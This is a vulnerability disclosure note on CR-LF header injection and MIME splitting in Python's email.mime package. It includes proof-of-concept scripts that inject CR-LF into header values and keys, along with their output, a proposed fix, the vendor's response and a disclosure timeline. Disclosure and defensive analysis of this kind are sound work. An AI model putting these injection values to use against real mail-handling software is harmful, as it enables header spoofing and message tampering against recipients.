Vulnerability Note
1 Summary
Python is a programming language that lets you work more quickly and integrate your systems more effectively.
The python email.mime
package fails to properly encode or reject CR-LF
control sequences in MIME header values allowing for MIME splitting and header injection attacks.
MIMEText[headerKey] = headerValue
-headerValue
acceptsCR-LF
in the value, allowing an attacker in control of part of the header value to perform a MIME splitting attack.MIMEText[headerKey] = headerValue
-headerKey
is not checked forCR-LF
allowing an attacker in control of part of a header key to inject arbitrary MIME headers.MIMEText.add_header(headerKey, headerValue)
-headerKey
is not checked forCR-LF
allowing an attacker in control of part of a header key to inject arbitrary MIME headers.
2 Details
2.1 MIME-Splitting with CR-LF
in header value:
- Note:
CR-LF
injection inTo
header pushes an invalid header and may force a MIME split (depending on the parsing library) pushing following header values into the body when being parsed with theemail.message_from_string()
method.
# Import the email modules we'll need
from email.mime.text import MIMEText
# Open a plain text file for reading. For this example, assume that
# the text file contains only ASCII characters.
msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END")
msg['Subject'] = 'The contents of is this...'
msg['To'] = "TO [email protected]\r\nX-SPLIT-MSG-TO-BODY\r\n"
msg['From'] = "FROM [email protected]"
msg['MyHEader'] = "hi :: hi"
print(msg)
print(repr(msg))
print("=========================")
import email
msg = email.message_from_string(str(msg))
print(msg)
print("-> FROM: %s" % msg.get("From"))
print("-> TO: %s" % msg["To"])
print("-> MSG: " + repr(msg.get_payload()))
Output:
- Output before the
===========
is the constructed message - Output after the
===========
is the parsed message - Note: that after parsing the message some headers end up in the body (
from
,myheader
). Note thatmsg[from]
is empty.
⇒ python3 a.py
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO [email protected]
X-SPLIT-MSG-TO-BODY
From: FROM [email protected]
MyHEader: hi :: hi
REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
<email.mime.text.MIMEText object at 0x108842850>
=========================
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO [email protected]
X-SPLIT-MSG-TO-BODY
From: FROM [email protected]
MyHEader: hi :: hi
REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
-> FROM: None
-> TO: TO [email protected]
-> MSG: 'X-SPLIT-MSG-TO-BODY\nFrom: FROM [email protected]\nMyHEader: hi :: hi\n\nREAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END'
2.2 CR-LF
injection in header keys.
Note: this is unlikely to be exploited, however, there might be scenarios where part of the header key is exposed to user input. A CR-LF
character in the header key should throw instead.
# Import the email modules we'll need
from email.mime.text import MIMEText
# Open a plain text file for reading. For this example, assume that
# the text file contains only ASCII characters.
msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END")
# me == the sender's email address
# you == the recipient's email address
msg['Subject'] = 'The contents of is this...'
msg['To'] = "TO [email protected]"
msg['From'] = "FROM [email protected]"
msg['MyHEader'] = "hi :: hi"
msg["m\r\nh"] = "yo"
print(msg)
print(repr(msg))
print("=========================")
import email
msg = email.message_from_string(str(msg))
msg.add_header("CUSTOM-HEADER: yo\r\n\nX-INJECTED: injected-header\r\naa","data")
print(msg)
print("-> FROM: %s" % msg.get("From"))
print("-> TO: %s" % msg["To"])
print("-> MSG: " + repr(msg.get_payload()))
Output: h: yo
and X-INJECTED:
are injected
⇒ python3 a.py
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO [email protected]
From: FROM [email protected]
MyHEader: hi :: hi
m
h: yo
REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
<email.mime.text.MIMEText object at 0x10076d850>
=========================
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO [email protected]
From: FROM [email protected]
MyHEader: hi :: hi
CUSTOM-HEADER: yo
X-INJECTED: injected-header
aa: data
m
h: yo
REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
-> FROM: FROM [email protected]
-> TO: TO [email protected]
-> MSG: 'm\r\nh: yo\n\nREAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END'
3 Proposed Fix
- reject
\n
in header keys - encode
\n
in header values to\n\s+...
to signal a continuation of the header value. reject\n+
4 Vendor Response
Vendor response:
I discussed the vulnerability in private with one of the email module
maintainers and he considers that it's not a vulnerability.
Would you mind opening a public issue at https://bugs.python.org/ so
the discussion can be recorded in public?
Victor
4.1 Timeline
JUL/02/2020 - contact psrt; provided details, PoC, proposed patch
AUG/20/2020 - vendor response: forwarded to maintainer of module
SEP/15/2020 - vendor response: not a security issue --> https://bugs.python.org/issue43123 for transparency
MAY/28/2021 - disclosed over a year a go. public disclosure.